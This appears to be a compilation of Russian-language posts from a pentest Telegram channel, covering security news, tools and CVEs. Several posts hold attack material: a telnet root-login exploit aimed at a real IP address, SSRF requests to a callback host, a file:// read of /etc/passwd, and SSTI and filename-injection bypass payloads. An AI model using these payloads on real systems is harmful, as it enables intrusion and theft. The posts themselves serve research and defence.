Pentest Notes

XSSNow - Крутой генератор XSS пейлоадов и одновременно с этим еще и XSS Payload Database🍪 Предлагает порядка нескольких тысяч готовых XSS‑payload’ов, разбитых по контекстам и вариантам инъекций (DOM‑based, reflected, stored, CSP‑bypass и т.п.). 🟣Умеет строить контекстно‑зависимые полезные нагрузки 🟣Можно точечно настраивать свои payload'ы 🟣Поддерживает различные WAF (bypass) 🟣Использует различные кодировки и трансформации 🟣Позиционируется как community продукт. Можно добавлять свои нагрузки Github Репозиторий / Generator / Database 💫 @pentestnotes

Наткнулся на, пожалуй, самый объемный гайд по безопасности JWT в рунете. Автор канала Пингискок ультанул и выпустил цикл из 20 статей на ~25000 слов (это очень много буков)! Где разобрал JWT буквально побайтово🤩 Список статей: 1. Почему JWT сломан by design 2. Анатомия токена 3. alg:none - одна строчка и ты admin 4. Algorithm Confusion - публичный ключ как пароль 5. kid injection - SQLi через заголовок токена 6. jku/x5u/jwk/x5c - весь заголовок это attack surface 7. Брутфорс секретов на GPU - 150 млн HS256/сек 8. Psychic Signatures - нулевая подпись на Java 15-18 9. Криптография JWT для хакеров - ECDSA, RSA-PSS, EdDSA и где ломается математика 10. JWE — зашифрованные токены, Bleichenbacher, Invalid Curve, PBES2 DoS 11. JWT-библиотеки — рейтинг дырявости, Top 5 CVE, fingerprinting по токену 12. JWT в OAuth 2.0 и OIDC — token confusion, cross-service relay, ALBeast, DPoP bypass 13. XSS + JWT — кража токенов из localStorage, sessionStorage, cookies 14. Продвинутые криптоатаки — lattice, side-channels, fault injection 15. Инструменты - jwt_tool, hashcat, Burp JWT Editor 16. Методология 17. Hardcoded secrets — CVE-2025-20188 (CVSS 10.0), 17% JWT CVE за 2024-2026, где искать секреты 18. Что вместо JWT - PASETO, Macaroons, opaque tokens, server-side sessions 19. RFC 8725 - чеклист из 15 правил, который никто не читает 20. Постквантовый JWT - ML-DSA подписи по 2.4 KB, SD-JWT, Harvest Now Decrypt Later 💫 @pentestnotes

DeBix (Деобфускатор Bitrix) 🔍 Вы знали, что модули Bitrix, поставляемые через Marketplace в демо-режиме, проходят через автоматический обфускатор? (см. Фото) Встроенный обфускатор переименовывает параметры функций и члены классов в файлах по типу include.php и install.php, что зачастую приводит к ошибкам в работе легитимного кода. Помимо этого, похожий обфусцировонный код встречается и при разборе инцидентов. Чтобы не тратить часы на ручной разбор base64_decode и переменных вида $__254446073, я собрал DeBix (Deobfuscator Bitrix) — утилиту для восстановления читаемости кода. Репозиторий проекта: https://github.com/FaLLenSkiLL1/DeBix 💫 @pentestnotes

Мне тут доложили, что hh.ru вышел в паблик на Standoff Bug Bounty Интересно, примут ли мой отчёт, если у меня нет 15 лет опыта bug bounty и миллиона сертификатов 🔍 💫 @pentestnotes

взломать интернет бесплатно 2026

USER="-f root" telnet -a 104.16.149.244 23

вот эта штука сверху, которой уже назначен CVE-2026-24061, дает подключиться по telnet сразу как root, без пароля. что? 🐱 Давным давно в 2015 году, почему-то в нашей мировой линии, telnet был неуязвим, но в нём не работал автологин если на машине нет Kerberos. Суть автологина - автоматически передать юзернейм для логина. Как когда по ssh коннектишься не указав логин, машина автоматически коннектится с именем текущего юзера. Без Kerberos, этот юзернейм попросту не детектился. Поэтому разработчики обновили шаблон логина, добавив динамический аргумент %U, что как раз подставляет юзернейм. Новый шаблон:

/usr/bin/login " -p -h %h %?u{-f %u}{%U}"

и вот тут происходит кабум бабах ракета взрыв 🤯 1. В бинаре login есть флаг -f, нужный для "этот юзер уже был аутентифицирован где-то ещё, не надо его проверять снова" 2. По RFC 1572, подключаясь по telnet, ты можешь сдать переменные окружения, в том числе $USER с целевым логином 3. содержимое $USER переменной никак не санитизируется . . . Теперь перечитай эксплойт

USER="-f root" telnet -a 104.16.149.244 23

Да это же уязвимость на argument injection! Повторим флоу атаки 🃏 0. выставляем переменную $USER="-f root" и включаем автологин -a 1. переменная $USER не проверяется, но учитывается сервером 2. $USER подставляется в шаблон логина вместо {%U} 3. сервер получает команду /usr/bin/login -p -f root 4. бинарь login скипает аутентификацию из-за -f 5. поздравляю, ты root ——— Dockerfile для тестовой лабы

FROM debian:11-slim

ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update && \
    apt-get install -y --no-install-recommends \
      inetutils-telnetd=2:2.0-1+deb11u2 \
      telnet && \
    rm -rf /var/lib/apt/lists/*

RUN useradd user1 && \
    sed -i 's/#<off># telnet/telnet/' /etc/inetd.conf

COPY docker-entrypoint.sh /docker-entrypoint.sh

EXPOSE 23
CMD ["/usr/sbin/inetutils-inetd", "-d"]

Если хочешь кишки кода и ветви логики, то читай этот подробный ресерч

Закрытое награждение 25 лучших исследователей Standoff 2025 года Очень классная локация и сам ивент, спасибо организаторам!👍 💫 @pentestnotes

Коллега по цеху @ArroizX сделал пост по уязвимостям в Битрикс😊 Почитать можно тут: https://t.me/ArroizX_Notes/90 Авторизированная SSRF в Битрикс24 через интеграцию с MS Sharepoint

GET /bitrix/components/bitrix/sharepoint.link/ajax.php?mode=test&sp_server=http://collaborator&sp_user=&sp_pass=&sessid=... HTTP/1.1 
Host: bitrix24 
Cookie: ... 
Bx-Ajax: true

Неавторизированный спам электронными письмами через sender_sub_confirm.php

POST /bitrix/tools/sender_sub_confirm.php HTTP/1.1 
Host: bitrix 
Cookie: ... 
Content-Type: application/x-www-form-urlencoded 
Content-Length: x 
 
sessid=...&sender_subscription=add&SENDER_SUBSCRIBE_EMAIL=some@some.com

Пойду докину в свой гайд, спасибо) 💫 @pentestnotes

1C-Bitrix <= 25.100.500 (Translate Module) Remote Code Execution Vulnerability (CVE-2025-67887) 🥤 Исследователь слил RCE PoC под плагин в Битрикс через 3 дня после присвоения CVE, не дождавшись ответа вендора. Патча нет... Vulnerability discovered by Egidio Romano. Уязвимые версии: Версия 25.100.500 и более ранние версии. Описание уязвимости: Уязвимость находится в «Translate Module», который позволяет пользователям загружать и распаковывать архивные файлы во временную папку. Однако приложение не проверяет должным образом содержимое этих архивов перед их распаковкой. Злоумышленники могут использовать эту уязвимость для загрузки и выполнения произвольного PHP-кода, включив в архив PHP-файл вместе со специально созданным файлом .htaccess. Что делать: 1. Проверить в логах наличие обращений к /bitrix/services/main/ajax.php?action=translate.asset.grabber.extract и /bitrix/services/main/ajax.php?action=translate.asset.grabber.apply 2. Проверить директории с файлами на наличие закладок и подозрительных архивов. 3. По возможности ограничить доступ к этим эндпоинтам (проверить привилегии) или временно отключить модуль, ждать патч🤷‍♀️ CVE-2025-67887 Ps. Битрикс не считает это уязвимостью 💫 @pentestnotes

🎇 сводка по react2shell безумию events * китайские группировки сориентировались за 30 часов и начали раскидывать майнеры монеро и LD_PRELOAD руткиты * добрые (😈) хакеры пробивают таргеты и затем патчат их, устраивая дефейс с "сервер уязвим, фиксаните пж" * Vercel вышли на h1 с программой по обходам их WAF. платят 50к$ за обход react2shell. уже получили репортов на 750к$ facts * легче обновиться, чем защищаться waf'ом * все сдают react2shell в бб и надеются на деньги * багхантеры написали браузерное расширение на детект * nuclei добавили смешные правила на детект (кто пропустит сложение чисел в powershell?) vuln * в эксплойтие, для массовых детектов, в _prefix используют js функции вместо child_process (curl не всегда есть в контейнере, но fetch() всегда есть в node runtime) * react2shell не оставляет следов на диске, от чего все жалуются на сложность детекта * уязвим не только next.js, но и прочее во влиянии react rsc: react router, vite rsc, parcel rsc, waku, redwood sdk

слушай, вОЛьТаЖ, а что почитать? не хочу вникать в килотонны текста

Включай этот absolute cinema. Это будут лучшие 40 минут за день. https://youtu.be/tdDHUoi_TdQ https://youtu.be/tdDHUoi_TdQ https://youtu.be/tdDHUoi_TdQ Автор содрал кожу с реакта, расставил в нём брейкпоинтов и прошёлся по всему пути эксплоита, объясняя логику внутренностей реакта на важных чекпоинтах (их больше 20) Если останутся силы, затем нырни в килотонну текста от CEO Vercel. После видео - it's starting to make sense https://x.com/rauchg/status/1997362942929440937

Assume Birch #5 💫 @pentestnotes

file://localhost/etc/passwd что вернёт? Да, вернётся /etc/passwd. В RFC 8089, верный формат протокола описан как file://<host>/<path>, в то время как все шпоры на LFR при SSRF говорят лишь о file:///<path> Причём, в <host> возможно вписать домен. Система резолвнет его, и если тот указывает на 127.0.0.1, то вернётся содержимое файла. В противном случае получишь лишь отстук в DNS. питон пок

from urllib.request import urlopen

content = urlopen(
  "file://yoogle.com/etc/passwd", timeout=2,
  ).read().decode('utf-8')

print(content)

Представил сколько возможностей для обхода фильтров? И это не последний твой приступ FOMO за сегодня. В статье The Minefield Between Syntaxes от @yeswehack, автор вскрывает проблемы разных синтаксисов и как парсеры выживают с ними.

Представим, ты нашёл SSTI, но WAF блокирует символ $ Что делать?

Неприятно, но не критично, ведь в Python / Perl возможно представить символ через \N{CHARACTER NAME}. Пример обхода фильтра

\N{dollar sign}{7*7} == ${7*7} == 49

Уже на стену лезешь? Погоди, я с тобой ещё не закончил. Давай дальше по загрузке файлов. Видел же в Content-Disposition есть параметр filename? В RFC 6266 описан базовый подход с именем файла, но RFC 8187 вышибает дверь с... чего.. какие юникод байты 😱

# RFC 6266
filename="image.png"

# RFC 8187
filename*=UTF8''image%0a.png

RFC 8187 вводит новые правила для filename параметра, включая поддержку всего Unicode + способности кодировать произвольные байты через % То есть, ты можешь закодировать перенос строки (%0a == \n) и всячески ломать как парсинг имени файла, так и куда тот запишется. . . . FOMO карусель закрыта. Как восстановишь силы, пробегись по статье автора ради:

⚀ разбор CVE из-за проблем синтаксиса [^] ⚀ кейс бб, из cache poisoning в stored xss через пролом валидации parse_url в PHP [^] ⚀ кейс бб, из слепого чтения файлов через SSRF в arbitrary file read [^]

Затем разнеси CTF по ресерчу

1. обход фильтров SSTI [^] 2. иной подход к протоколу file:// [^] 3. пролом parse_url в PHP [^]

#web #waf_bypass

На сайте ZeroNights уже висит пограмма докладов. Будут темы по современным техникам взлома для проведения продвинутых кибератак, обнаружение уязвимостей в устройствах и ОС, а также вопросы бинарной эксплуатации. Программу конференции можно посмотреть здесь Названия докладов прикольные🍪 ➡️ Скользкий мамонт ➡️ Солевые приключения ➡️ Горшочек, не вари! Истории про Web3-ловушки ➡️ Итак... вы украли ноутбук ➡️ Киоск Закрыт? - Не беда! Войдем без ключа. 💫 @pentestnotes

🚨Участились попытки эксплуатации новой критической уязвимости 1С Предприятия - BDU:2025-07182 (Bypass авторизации). Уязвимость технологической платформы «1С:Предприятие 8» связана с недостатками процедуры авторизации. Эксплуатация уязвимости, может позволить нарушителю, действующему удаленно, получить несанкционированный доступ к системе от имени произвольного пользователя. CVSS 3.0: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H CVSS 3.1 8.8/10 BDU:2025-07182 Рекомендую как можно быстрее обновиться. 💫 @pentestnotes

📈   #наработки #defense #offense #web #web3 #malware

Видели историю про BSidesNYC? Выступила с этой статьёй в Нью-Йорке, в колледже уголовного правосудия имени Джона Джея ⚡️ А тот самый доклад Neplox из Токио и Сеула про уязвимости, обнаруженные в известных криптокошельках — ‟Атакуем криптокошельки: свежий взгляд на безопасность браузерных расширений”, но в Москве, на PHDays, видели? 🤔

➡Теперь в тексте: собрала и проанализировала исходный код клиентских и серверных частей дрейнеров, заточенных под сеть TON, чтобы понимать, какие недостатки продуктов они используют для своей работы;    🧩   ‟Down the Drain: Unpacking TON of Crypto Drainers” Оказалось, что многие из них эксплуатируют фичи TON Connect – прослойки между приложением и кошельком – в свою пользу, а потому разобрала не только архитектуру самих дрейнеров, но и особенности реализации данного интерфейса между приложением и кошельками, благодаря которым скрывать вредоносную активность становится проще. На фоне самих вредоносных приложений рассмотрим такие возможности, как: ▪️Подделка origin и данных о приложении ▪️Перерисовка UI: добавление произвольных кошельков и сокрытие легитимных ▪️Управление поведением: трекинг событий и управление выбором пользователя ▪️Управление данными: Local Storage и Bridge MitM ➡️Из всех дрейнеров выбрала 5 самых репрезентативных и распределила их по уровням, от самого элементарного к самому комплексному, каждый из которых представляет из себя новую ступень для комфортного погружения в связанную тему:

0️⃣ Level 0: Перенаправление, Проблема верификации, Подделка источника, Telegram боты 1️⃣ Level 1.0: TON, NFT, Jetton, Переписанные библиотеки 1️⃣ Level 1.1: Перерисовка UI, Произвольные кошельки, Имперсонация легитимных кошельков 1️⃣ Level 1.2: Вызов действий, Отслеживание событий 2️⃣ Level 2: Local Storage, Компоненты TON Connect, TON Connect Bridge MitM 💻 Продукты: TON Connect, Tonkeeper, MyTonWallet, TON Wallet, Telegram Wallet, XTON Wallet, ...

//   Время чтения: ~30 минут ➡Enjoy!  🙇‍♂    @HaHacking  🐇

VK bugbounty снова сделали мега крутую сходку багхантеров😊 И даже раскрыли парочку нововведений, которые добавят в следующем году) 💫 @pentestnotes

Состоялся релиз Kali Linux 2024.4, финальная версия 2024 года. Краткое описание изменений с момента выпуска 2024.3 в сентябре: • Python 3.12 — новая версия Python по умолчанию (до свидания pip, привет pipx) • Смерть i386 — прощай, x86 (образы), но не прощай пакеты • Устаревшие функции в клиенте SSH — для подключения к очень старым SSH-серверам, теперь нужно будет использовать команду ssh1 вместо ssh • Поддержка настройки Raspberry Pi Imager — образы Kali для Raspberry Pi теперь поддерживают применение настроек непосредственно из программного обеспечения Raspberry Pi Imager! • Обновление форумов Kali - Пишут, что их форум ожил, но я пока что-то не верю • Kali NetHunter — обновления для приложения, ядер, установщика, магазина и веб-сайта И конечно новые инструменты — добавлили 14 новых утилит, включая Zenmap, sara (Submitted by @casterbyte), findomain и certy 💫 @pentestnotes

VK Security Confab Max 💫@pentestnotes

Assume Birch 3.0 (в этот раз invite only)

😎 STANDOFF 14 Сегодня в 5 утра начался международный Standoff 14. В этот раз принимают участие только иностранные команды, но меня пригласили в качестве ментора) Пытаюсь объяснить ребятам из Азии, как делать пивотинг https://14.standoff365.com/mentors/

Bugs Zone 3.0